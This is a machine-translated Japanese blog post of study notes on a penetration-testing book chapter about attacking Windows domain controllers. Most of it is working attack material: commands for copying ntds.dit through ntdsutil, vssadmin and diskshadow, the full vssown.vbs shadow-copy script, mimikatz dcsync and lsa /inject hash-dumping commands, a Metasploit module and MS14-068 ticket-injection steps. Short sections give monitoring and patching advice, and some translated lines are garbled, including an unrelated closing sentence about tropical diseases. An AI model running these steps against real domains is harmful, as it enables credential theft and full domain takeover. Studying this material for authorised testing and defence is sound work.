「イントラネットセキュリティの攻撃と防御:侵入テストの実用ガイド」メモを読む(6):ドメインコントローラのセキュリティ

序文

この記事では、「イントラネットセキュリティ攻撃と防御:侵入テスト実践ガイド」を読み、学習し続けます。この章は、ドメインコントローラのセキュリティです。Kerberosドメインユーザーを使用して特権を昇格させ、ntds.ditにハッシュ値をエクスポートする方法を紹介します。 、およびドメインコントローラに対する攻撃。効果的な安全性の推奨事項が作成されます

実際のネットワーク環境では、攻撃者がイントラネットに侵入する最終的な目標は、ドメインコントローラの権限を取得し、それによってドメイン全体を制御することです。

1.ボリュームシャドウコピーサービスを使用してntds.ditを抽出します

Active Directoryでは、すべてのデータがntds.ditファイルに保存されます

  • ntds.ditは、DCに保存されているバイナリファイルです。C:\Windows\NTDS\ntds.dit
  • ドメイン内のすべての情報が含まれています。ntds.ditを分析することにより、ドメイン内のコンピューター情報やその他の情報をエクスポートできます。
  • SAMファイルと同様に、それらはシステムによってロックされます

ntds.ditは、ボリュームシャドウコピーサービス(VSS)を使用して抽出できます。これは、基本的にスナップショットテクノロジであり、主にバックアップとリカバリに使用されます(ターゲットファイルがロックされている場合でも)。

1、ntdsutil.exe

ADの管理メカニズムを提供し、WindowsServer2003/2008/2012をサポートするコマンドラインツール

//创建快照
ntdsutil snapshot "activate instance ntds" create quit quit
//加载快照
ntdsutil snapshot "mount <GUID>" quit quit
//复制快照中的nitds.dit
copy <加载后快照的位置> c:\tmp:ntds.dit
//删除快照
ntdsutil snapshot "unmount <GUID>" "delete <GUID>" quit quit

2、vssadmin

Windows7およびサーバー2008が提供するVSS管理ツール

//创建C盘的卷影拷贝
vssadmin create shadow /for=c:
//复制ntds.dit
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy5\window\NTDS\ntds.dit c:\ntds.dit
//删除拷贝
vssadmin delete shadow /for=c: /quiet

3、vssown.vbs

vssadminと同様に、TimTomesによって開発されたスクリプト

スクリプトは次のとおりです

REM Volume Shadow Copy Management from CLI.
REM Part of the presentation "Lurking in the Shadows" by Mark Baggett and Tim "LaNMaSteR53" Tomes.
REM Co-developed by Mark Baggett (@MarkBaggett) and Tim Tomes (@lanmaster53).

Set args = WScript.Arguments

if args.Count < 1  Then
  wscript.Echo "Usage: cscript vssown.vbs [option]"
  wscript.Echo
  wscript.Echo "  Options:"
  wscript.Echo
  wscript.Echo "  /list                             - List current volume shadow copies."
  wscript.Echo "  /start                            - Start the shadow copy service."
  wscript.Echo "  /stop                             - Halt the shadow copy service."
  wscript.Echo "  /status                           - Show status of shadow copy service."
  wscript.Echo "  /mode                             - Display the shadow copy service start mode."
  wscript.Echo "  /mode [Manual|Automatic|Disabled] - Change the shadow copy service start mode."
  wscript.Echo "  /create [drive_letter]            - Create a shadow copy."
  wscript.Echo "  /delete [id|*]                    - Delete a specified or all shadow copies."
  wscript.Echo "  /mount [path] [device_object]     - Mount a shadow copy to the given path."
  wscript.Echo "  /execute [\path\to\file]          - Launch executable from within an umounted shadow copy."
  wscript.Echo "  /store                            - Display storage statistics."
  wscript.Echo "  /size [bytes]                     - Set drive space reserved for shadow copies."
  REM build_off
  wscript.Echo "  /build [filename]                 - Print pasteable script to stdout."REM no_build
  REM build_on
  wscript.Quit(0)
End If

strComputer = "."
Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2")

Select Case args.Item(0)

  Case "/list"
    Wscript.Echo "SHADOW COPIES"
    Wscript.Echo "============="
    Wscript.Echo
    Set colItems = objWMIService.ExecQuery("Select * from Win32_ShadowCopy")
    For Each objItem in colItems
      Wscript.Echo "[*] ID:                  " & objItem.ID
      Wscript.Echo "[*] Client accessible:   " & objItem.ClientAccessible
      Wscript.Echo "[*] Count:               " & objItem.Count
      Wscript.Echo "[*] Device object:       " & objItem.DeviceObject
      Wscript.Echo "[*] Differential:        " & objItem.Differential
      Wscript.Echo "[*] Exposed locally:     " & objItem.ExposedLocally
      Wscript.Echo "[*] Exposed name:        " & objItem.ExposedName
      Wscript.Echo "[*] Exposed remotely:    " & objItem.ExposedRemotely
      Wscript.Echo "[*] Hardware assisted:   " & objItem.HardwareAssisted
      Wscript.Echo "[*] Imported:            " & objItem.Imported
      Wscript.Echo "[*] No auto release:     " & objItem.NoAutoRelease
      Wscript.Echo "[*] Not surfaced:        " & objItem.NotSurfaced
      Wscript.Echo "[*] No writers:          " & objItem.NoWriters
      Wscript.Echo "[*] Originating machine: " & objItem.OriginatingMachine
      Wscript.Echo "[*] Persistent:          " & objItem.Persistent
      Wscript.Echo "[*] Plex:                " & objItem.Plex
      Wscript.Echo "[*] Provider ID:         " & objItem.ProviderID
      Wscript.Echo "[*] Service machine:     " & objItem.ServiceMachine
      Wscript.Echo "[*] Set ID:              " & objItem.SetID
      Wscript.Echo "[*] State:               " & objItem.State
      Wscript.Echo "[*] Transportable:       " & objItem.Transportable
      Wscript.Echo "[*] Volume name:         " & objItem.VolumeName
      Wscript.Echo
    Next
    wscript.Quit(0)

  Case "/start"
    Set colListOfServices = objWMIService.ExecQuery("Select * from Win32_Service Where Name ='VSS'")
    For Each objService in colListOfServices
      objService.StartService()
      Wscript.Echo "[*] Signal sent to start the " & objService.Name & " service."
    Next
    wscript.Quit(0)

  Case "/stop"
    Set colListOfServices = objWMIService.ExecQuery("Select * from Win32_Service Where Name ='VSS'")
    For Each objService in colListOfServices
      objService.StopService()
      Wscript.Echo "[*] Signal sent to stop the " & objService.Name & " service."
    Next
    wscript.Quit(0)

  Case "/status"
    Set colListOfServices = objWMIService.ExecQuery("Select * from Win32_Service Where Name ='VSS'")
    For Each objService in colListOfServices
      Wscript.Echo "[*] " & objService.State
    Next
    wscript.Quit(0)

  Case "/mode"
    Set colListOfServices = objWMIService.ExecQuery("Select * from Win32_Service Where Name ='VSS'")
    For Each objService in colListOfServices
      if args.Count < 2 Then
        Wscript.Echo "[*] " & objService.Name & " service set to '" & objService.StartMode & "' start mode."        
      Else
        mode = LCase(args.Item(1))
        if mode = "manual" or mode = "automatic" or mode = "disabled" Then
          errResult = objService.ChangeStartMode(mode)
          Wscript.Echo "[*] " & objService.Name & " service set to '" & mode & "' start mode."
        Else
          Wscript.Echo "[*] '" & mode & "' is not a valid start mode."
        End If
      END If
    Next
    wscript.Quit(errResult)    

  Case "/create"
    VOLUME = args.Item(1) & ":\"
    Const CONTEXT = "ClientAccessible"
    Set objShadowStorage = objWMIService.Get("Win32_ShadowCopy")
    Wscript.Echo "[*] Attempting to create a shadow copy."
    errResult = objShadowStorage.Create(VOLUME, CONTEXT, strShadowID)
    wscript.Quit(errResult)

  Case "/delete"
    id = args.Item(1)
    Set colItems = objWMIService.ExecQuery("Select * From Win32_ShadowCopy")
    For Each objItem in colItems
      if objItem.ID = id Then
        Wscript.Echo "[*] Attempting to delete shadow copy with ID: " & id
        errResult = objItem.Delete_
      ElseIf id = "*" Then
        Wscript.Echo "[*] Attempting to delete shadow copy " & objItem.DeviceObject & "."
        errResult = objItem.Delete_
      End If
    Next
    wscript.Quit(errResult)

  Case "/mount"
    Set WshShell = WScript.CreateObject("WScript.Shell")
    link = args.Item(1)
    sc = args.Item(2) & "\"
    cmd = "cmd /C mklink /D " & link & " " & sc
    WshShell.Run cmd, 2, true
    Wscript.Echo "[*] " & sc & " has been mounted to " & link & "."
    wscript.Quit(0)

  Case "/execute"
    file = args.Item(1)
    Set colItems = objWMIService.ExecQuery("Select * From Win32_ShadowCopy")
    Set objProcess = objWMIService.Get("Win32_Process")
    For Each objItem in colItems
      path = Replace(objItem.DeviceObject,"?",".") & file
      intReturn = objProcess.Create(path)
      if intReturn <> 0 Then
        wscript.Echo "[*] Process could not be created from " & path & "."
        wscript.Echo "[*] ReturnValue = " & intReturn
      Else
        wscript.Echo "[!] Process created from " & path & "."
        wscript.Quit(0)
      End If
    Next
    wscript.Quit(0)

  Case "/store"
    Wscript.Echo "SHADOW STORAGE"
    Wscript.Echo "=============="
    Wscript.Echo
    Set colItems = objWMIService.ExecQuery("Select * from Win32_ShadowStorage")
    For Each objItem in colItems
        Wscript.Echo "[*] Allocated space:     " & FormatNumber(objItem.AllocatedSpace / 1000000,0) & "MB"
        Wscript.Echo "[*] Maximum size:        " & FormatNumber(objItem.MaxSpace / 1000000,0) & "MB"
        Wscript.Echo "[*] Used space:          " & FormatNumber(objItem.UsedSpace / 1000000,0) & "MB"
        Wscript.Echo
    Next
    wscript.Quit(0)

  Case "/size"
    storagesize = CDbl(args.Item(1))
    Set colItems = objWMIService.ExecQuery("Select * from Win32_ShadowStorage")
    For Each objItem in colItems
      objItem.MaxSpace = storagesize
      objItem.Put_
    Next
    Wscript.Echo "[*] Shadow storage space has been set to " & FormatNumber(storagesize / 1000000,0) & "MB."
    wscript.Quit(0)

  REM build_off
  Case "/build"
    build = 1
    Const ForReading = 1
    Set objFSO = CreateObject("Scripting.FileSystemObject")
    Set objTextFile = objFSO.OpenTextFile("vssown.vbs", ForReading)
    Do Until objTextFile.AtEndOfStream
      strNextLine = objTextFile.Readline
      if InStr(strNextLine,"REM build_off") = 3 Then
        build = 0
      End If
      if strNextLine <> "" and build = 1 Then
        strNextLine = Replace(strNextLine,"&","^&")
        strNextLine = Replace(strNextLine,">","^>")
        strNextLine = Replace(strNextLine,"<","^<")
        wscript.Echo "echo " & strNextLine & " >> " & args.Item(1)
      End If
      if InStr(strNextLine,"REM build_on") = 3 Then
        build = 1
      End If
    Loop
    wscript.Quit(0)
  REM build_on

End Select

4.ntdsutilのIFM

ntdsutilを使用してIFMを作成する場合は、スナップショットの生成、ロード、ntds.ditおよびコンピューターのSAMファイルのターゲットフォルダーへのコピーなどを行う必要があります。

ntdsutil "ac i ntds" "ifm" "create full c:/test" q q

次に、ntds.ditをc:\ test \ Active Directory
にコピーします。システムとセキュリティをc:\ test \ repository\にコピーします。

Nishangには、プロセス全体を実装するスクリプトCopy-VSS.ps1があります。

5、diskshadow

diskshadow.exeはVSSを使用し、ntds.ditをエクスポートできます

  • マイクロソフトによって公式に作成されたコードは、マイクロソフトによって署名されています
  • Windows Server 2008、2012、2016にはデフォルトが付属しています
  • ntds.ditをエクスポートするときはでC:\Windows\system32操作する必要があります

ntds.ditをエクスポートした後、regを使用してsystem.hiveをダンプできます。ntds.ditのキーはsystem.hiveに保存されているため、 ntds.ditの情報はキーなしでは表示できません。

ペネトレーションテストでは、実行するコマンドを含むテキストファイルを最初にリモートターゲットシステムに書き込んでから、より柔軟なdiskshadow.exeを使用してファイルを実行する必要があります。テキストは次のとおりです。

//设置卷影拷贝
set context persistent nowriters
//添加卷
add volume c: alias someAlias
//创建快照
create
//分配虚拟磁盘盘符
expose %someAlias% k:
//复制ntds.dit
exec "cmd.exe" /c copy k:\Windows\NTDS\ntds.dit c:\ntds.dit
//列出卷影拷贝
list shadows all
//重置
reset
//退出
exit

6.予防

ボリュームシャドウコピーサービスの使用状況を監視することにより、システム内の攻撃者によって実行された悪意のある操作を時間内に発見できます。

  • ボリュームシャドウコピーサービスと、Active Directoryデータベースファイル(ntds.dit)に関連する疑わしい動作を監視します
  • システムイベントID7036(ボリュームシャドウコピーサービスが実行状態に入ったことを示すサイン)の疑わしいインスタンス、およびvssvc.exeプロセスを作成するイベントを監視します。
  • diskshadow.exeおよび関連する子プロセスを作成するイベントを監視する
  • クライアントデバイスでdiskshadow.exeインスタンスの作成イベントを監視します(ビジネスニーズがない限り、diskshadowexeはWmdows OSに表示されません)
  • ログを介して新しい論理ドライブマッピングイベントを監視する

2.ハッシュ値をntds.ditにエクスポートします

いくつかのツールの使用:

3.dcsyncを使用してドメインハッシュ値を取得します

mimikatzには、ボリュームシャドウコピーサービスVSSを使用してntds.ditを直接読み取り、ドメインハッシュ値を取得できるdcsync関数があります。これには、ドメイン管理者権限が必要です。

//导出域内所有用户名和散列值
lsadump::dcsync /domain:test.com /all /csv
//导出指定用户Dm散列值
lsadump::dcsync /domain:test.com /User:Dm
//转储lsass.exe进程对散列值进行dump操作
privilege::debug
lsadump::lsa /inject

mimikatzコマンドの実行結果が多すぎて完全に表示できません。最初にlogコマンドを実行できます(mimikatzのすべての実行結果を記録するために、現在のディレクトリにテキストファイルが生成されます)

4.ドメインハッシュ値を取得するための他の方法

1、Metasploit

use auxiliary/admin/amb/psexec_ntdsgrab

2.vshadow.exeおよびQuarkPwDump.exe

QuarkPwDumpを使用すると、すべてのドメインアカウントとドメインハッシュをすばやく、安全に、包括的に読み取ることができます
。ダウンロードアドレス:https ://github.com/quarkslab/quarkspwdump

5、Kerberosドメインのユーザー特権昇格の脆弱性

Kerberosドメインユーザーの特権の昇格の脆弱性(MS14-068、CVE-2014-6324、KB3011780)

  • Windows2012R2および以前のバージョンが影響を受けます
  • 攻撃者がドメイン内の任意のコンピューターのシェル権限を取得し、任意のドメインユーザーのユーザー名、SID、およびパスワードも知っている場合、攻撃者はドメイン管理者権限を取得し、DCを制御し、最後にドメイン権限を取得できます。

チケットインジェクションの一般的なプロセス

  • DCパッチのインストールを確認してください(systeminfo、WMIC qfe)
  • ユーザーのSIDを表示する(whoami /user
  • 高特権チケットの生成(ms14-068.exe)
  • インジェクション前の権限の表示(dir \\\\DC\c$
  • メモリ内のすべてのチケットをクリアします(mimikatz、kerberos::purge
  • 高特権チケットをメモリに挿入します(kerberos::ptc
  • 権限を確認する

いくつかのツール:

修理の提案:

  • WindowsUpdateをオンにする
  • 手動パッチ
  • ドメイン内のアカウントを制御する
  • 弱いパスワードを無効にする
  • 定期的かつタイムリーにパスワードを変更してください
  • ウイルス対策ソフトウェアをインストールし、ウイルスデータベースを時間内に更新します

エピローグ

主に顧みられない熱帯病の買収を中心に

おすすめ

転載: blog.csdn.net/weixin_44604541/article/details/124272768